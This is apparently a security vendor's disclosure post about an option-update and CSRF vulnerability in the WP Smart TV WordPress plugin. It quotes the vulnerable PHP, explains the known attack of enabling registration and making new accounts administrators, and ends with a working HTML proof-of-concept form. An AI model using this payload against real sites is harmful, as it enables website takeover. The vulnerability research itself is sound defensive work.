Our Improved Proactive Monitoring Caught Another Authenticated Option Update Vulnerability in a WordPress Plugin
When it comes to the hackings of WordPress websites due to the software on them, those are largely due to security issues in WordPress plugins. So you would assume that a major focus of security companies involved in the security of WordPress websites would be based around those, but what we have found is that isn’t true. Often others in the industry are warning about vulnerabilities weeks after us (and often only after they have been wide spread exploitation attempts) and they spend a troubling amount of time making up threats that don’t really exist (maybe because it is easy to protect against non-existent threats). In the wake of an option update vulnerability in the plugin WP GDPR Compliance being widely exploited the response of one high profile company that failed to protect their paying customers was to lie about that.
While we provided our customers with warning ahead of exploitation of that vulnerability, we look at every situation where there is large scale exploitation as an opportunity to improve what we do. There is still an idea we have to improve based on what happened in that situation that we haven’t implemented, but others we implemented right away. One of those was trying to detect more of vulnerabilities like the one that was exploited. That lead to us spotting the same kind of vulnerability in one of the 1,000 most popular plugins less than a week later, which would go on to be exploited as well. Others in the security industry have just been becoming aware of that even though it has almost been a month since we warned about. In the meantime we have been catching more vulnerabilities relating to that type of issue.
Last week we started doing newly improved proactive monitoring of changes being made to WordPress plugins to try to catch serious vulnerabilities when they are introduced in to plugins and that has led to us spotting another authenticated option update vulnerability, which could be exploited by anyone logged in to WordPress, in the plugin WP Smart TV. It could also be exploited if an attacker can get someone else logged in to WordPress to access a page they control. The vulnerability has been in the plugin for 11 months without being noticed.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon).
Technical Details
In the file /admin/rovidx-smart-tv-admin-ajax.php the plugin registers for the function rovidx_wpstv_auth_lock() to be accessible by anyone logged in to WordPress through its AJAX functionality:
46 | add_action( 'wp_ajax_rovidx_wpstv_auth_lock', 'rovidx_wpstv_auth_lock' ); |
In that function the values of the POST inputs “update_slug” and “status” are passed to the update_option() function, which allows changing any WordPress option (setting):
30 31 32 33 34 35 36 37 38 39 | function rovidx_wpstv_auth_lock() { $option = $_POST['update_slug']; $status = $_POST['status']; $out = array( 'slug' => $option, 'status' => $status ); $result = update_option($option,$status); |
Since there is no check for a valid nonce, this could also be exploited through cross-site request forgery (CSRF).
What hackers have done with this type of vulnerability going back at least a couple of years is to change the WordPress options (settings) to allow user registration (though in the case of website using this plugin that may already been enabled) and set it so new accounts are set to have the Administrator role, which gives new accounts control of the website.
Proof of Concept
The following proof of concept will turn on user registration, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rovidx_wpstv_auth_lock" method="POST"> <input type="hidden" name="update_slug" value="users_can_register" /> <input type="hidden" name="status" value="1" /> <input type="submit" value="Submit" /> </form> </body> </html>